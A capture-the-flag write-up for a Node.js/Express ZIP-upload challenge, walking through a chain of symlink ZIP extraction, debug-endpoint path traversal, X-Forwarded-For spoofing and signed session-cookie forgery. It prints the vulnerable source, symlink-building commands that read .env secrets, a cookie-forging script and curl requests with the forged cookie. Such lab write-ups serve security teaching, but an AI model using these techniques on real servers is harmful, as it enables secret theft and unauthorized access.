Introduction
During TFC 2025 CTF, I encountered a fascinating web challenge that showcased how multiple seemingly minor vulnerabilities can be chained together to achieve complete system compromise. The application appeared simple on the surface: upload a ZIP file, extract it, and serve the contents for download. However, beneath this straightforward functionality lurked a perfect storm of security issues.
This writeup demonstrates a complete exploit chain combining symlink traversal, path traversal, session forgery, and authentication bypass. What makes this particularly interesting is how each vulnerability alone might seem insignificant, but together they create a devastating attack vector.
Attack Chain Overview
Initial Reconnaissance
The target application is a Node.js/Express web server that provides file upload and management functionality. Users can upload ZIP files which are automatically extracted and made available for download through a personalized directory structure based on their session ID.
/uploads/<userId>, and the app attempts to prevent users from accessing other users' files through path traversal protection.
Technology Stack
- Runtime: Node.js with Express.js framework
- File Handling: Multer for uploads, native
execFilefor unzipping - Session Management: express-session with MemoryStore
- Environment Config: dotenv for environment variables
Source Code Analysis
Let's dive deep into the application source code to identify the vulnerabilities. I'll analyze each component systematically, starting with the main routing logic.
Main Router (index.js)
const express = require('express');
const multer = require('multer');
const path = require('path');
const { execFile } = require('child_process');
const fs = require('fs');
const ensureSession = require('../middleware/session');
const developmentOnly = require('../middleware/developmentOnly');
const router = express.Router();
router.use(ensureSession);
const upload = multer({ dest: '/tmp' });
router.get('/', (req, res) => {
res.render('index', { sessionId: req.session.userId });
});
router.get('/upload', (req, res) => {
res.render('upload');
});
router.post('/upload', upload.single('zipfile'), (req, res) => {
const zipPath = req.file.path;
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.mkdirSync(userDir, { recursive: true });
// Command: unzip temp/file.zip -d target_dir
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath); // Clean up temp file
if (err) {
console.error('Unzip failed:', stderr);
return res.status(500).send('Unzip error');
}
res.redirect('/files');
});
});
router.get('/files', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
router.get('/files/:filename', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
const requestedPath = path.normalize(req.params.filename);
const filePath = path.resolve(userDir, requestedPath);
// Prevent path traversal
if (!filePath.startsWith(path.resolve(userDir))) {
return res.status(400).send('Invalid file path');
}
if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
res.download(filePath);
} else {
res.status(404).send('File not found');
}
});
router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
module.exports = router;
Vulnerability Analysis
Vulnerability #1: Symlink Preservation in ZIP Extraction
The first critical vulnerability lies in how the application handles ZIP file extraction. The code uses the system's unzip command without any flags to prevent symlink preservation:
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath);
// ...
});
unzip utility preserves symbolic links found in ZIP archives. An attacker can create a ZIP file containing symlinks to sensitive system files. When extracted, these symlinks will point to arbitrary filesystem locations, effectively bypassing the application's intended file isolation.
When a user downloads a symlinked file through the /files/:filename endpoint, the application follows the symlink and serves the target file's contents. This is because Node.js's fs.statSync().isFile() follows symlinks by default, and res.download() will read and serve the symlink target.
Why This Works
- The
unzipcommand preserves symlinks without the-Lflag - Node.js filesystem operations follow symlinks automatically
- The path traversal check in
/files/:filenamevalidates the symlink path itself, not its target - The check
!filePath.startsWith(path.resolve(userDir))passes because the symlink is physically located withinuserDir
Vulnerability #2: Path Traversal in Debug Endpoint
The debug endpoint contains a textbook path traversal vulnerability:
router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
session_id query parameter is directly concatenated into the file path without any validation or sanitization. An attacker can inject path traversal sequences like ../../../ to access any directory on the system that the Node.js process has read permissions for.
Path Construction Breakdown
Let's trace how the path is constructed with a malicious payload:
// Normal request: /debug/files?session_id=abc123
__dirname = /home/aniket/src/routes
path.join(..., '../uploads') = /home/aniket/src/uploads
path.join(..., 'abc123') = /home/aniket/src/uploads/abc123
// Malicious request: /debug/files?session_id=../../../tmp
__dirname = /home/aniket/src/routes
path.join(..., '../uploads') = /home/aniket/src/uploads
path.join(..., '../../../tmp') = /home/aniket/tmp
Vulnerability #3: Weak Authentication Bypass
The debug endpoint is protected by a developmentOnly middleware that checks two conditions:
module.exports = function (req, res, next) {
if (req.session.userId === 'develop' && req.ip == '127.0.0.1') {
return next();
}
res.status(403).send('Forbidden: Development access only');
};
- Have a valid session with
userIdset to'develop' - Request must appear to come from
127.0.0.1
IP Address Spoofing
The application has trust proxy enabled in the server configuration:
app.set('trust proxy', true);
This setting makes Express trust the X-Forwarded-For header to determine the client's IP address. While this is necessary for applications behind reverse proxies, it creates a security vulnerability when the proxy doesn't properly validate or sanitize this header. An attacker can simply set X-Forwarded-For: 127.0.0.1 to satisfy the IP check.
Vulnerability #4: Session Secret Exposure
The application's session management reveals critical information in the server initialization code:
const store = new session.MemoryStore();
const sessionData = {
cookie: {
path: '/',
httpOnly: true,
maxAge: 1000 * 60 * 60 * 48
},
userId: 'develop'
};
// Development session created with a fixed ID
store.set('<redacted>', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
store: store
}));
- A development session is pre-created with
userId: 'develop' - The session secret is loaded from
.envfile via dotenv - The raw session ID is stored somewhere in the codebase (redacted in challenge)
- Both
server.jsand.envare readable files within the application directory
Exploitation Strategy
Now that we've identified all the vulnerabilities, let's connect the dots. Here's our attack strategy:
- Use symlink upload to read server configuration files - Extract
SESSION_SECRETfrom.envand developmentsession_idfromserver.js - Forge a valid developer session cookie - Use the extracted secret to create a properly signed session cookie
- Bypass IP and authentication checks - Access the debug endpoint with forged credentials
- Exploit path traversal - Navigate to the flag file using the debug endpoint's path traversal
Step-by-Step Exploitation
Step 1: Creating Malicious Symlinks
First, we need to create symlinks pointing to the sensitive configuration files. In a Unix-like environment, we can use the ln -s command:
# Create symlink to the environment file
ln -s /app/.env env
# Create symlink to the server configuration
ln -s /app/server.js server
# Package them into a ZIP file
zip --symlinks config.zip env server
--symlinks flag when creating the ZIP to ensure symlinks are preserved rather than being followed and replaced with actual file contents.
Step 2: Uploading and Extracting Symlinks
Upload the config.zip file through the application's upload interface. The server will:
- Store the uploaded file in
/tmp - Create a user directory at
/uploads/<your-session-id> - Extract the ZIP contents, preserving the symlinks
- Redirect you to
/fileswhere you can see the extracted files
Step 3: Downloading Symlinked Files
Navigate to /files and click the download button for both env and server files. The application will follow the symlinks and serve the actual configuration files:
.env contents:
SESSION_SECRET=3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b
server.js excerpt:
store.set('amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});
- Session Secret:
3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b - Development Session ID:
amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E
Step 4: Forging the Developer Session Cookie
Express.js uses signed cookies to prevent tampering. The cookie format is s:<sessionId>.<signature>. We need to recreate this signature using the extracted secret and session ID.
Create a Node.js script to generate the valid cookie:
const signature = require('cookie-signature');
// Extracted values
const sid = 'amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E';
const secret = '3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b';
// Sign the session ID using the same algorithm Express uses
const signed = 's:' + signature.sign(sid, secret);
console.log('Forged Cookie:');
console.log('connect.sid=' + signed);
Execute the script:
┌──(kali㉿kali)-[/tmp]
└─$ node forge_cookie.js
Forged Cookie:
connect.sid=s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE
Step 5: Accessing the Debug Endpoint
Now we have all the pieces needed to bypass the authentication and access the debug endpoint. We'll use curl to make the request with our forged cookie and spoofed IP:
curl -v http://localhost:3000/debug/files?session_id=../../../g67phz7m \
-H "Cookie: connect.sid=s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE" \
-H "X-Forwarded-For: 127.0.0.1"
Request Breakdown
- session_id=../../../g67phz7m - Path traversal payload to escape the uploads directory and access another user's folder
- Cookie header - Our forged developer session cookie
- X-Forwarded-For: 127.0.0.1 - Spoofs the request to appear as if it's coming from localhost
Server Response:
<div class="container">
<h2>Your Uploaded Files</h2>
<ul class="list-group">
<li class="list-group-item">
flag.txt
<a href="/files/flag.txt" class="button">Download</a>
</li>
</ul>
<a href="/upload" class="button">Upload More</a>
<a href="/" class="button">Home</a>
</div>
Perfect! We've successfully bypassed authentication and used path traversal to list files in another user's directory. We can see that flag.txt exists in the target directory.
Step 6: Capturing the Flag
For the final step, we need to read the flag file. We'll create another symlink ZIP pointing to the flag's location:
# Create symlink to the flag file
ln -s /files/flag.txt flag
# Package it into a ZIP with symlinks preserved
zip --symlinks flag.zip flag
# Upload flag.zip through the web interface
# Then download the 'flag' file - it will serve the flag.txt contents
Alternatively, if we know the exact session ID of the user who has the flag, we can directly access it using the debug endpoint:
curl http://localhost:3000/debug/files?session_id=g67phz7m \
-H "Cookie: connect.sid=s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE" \
-H "X-Forwarded-For: 127.0.0.1"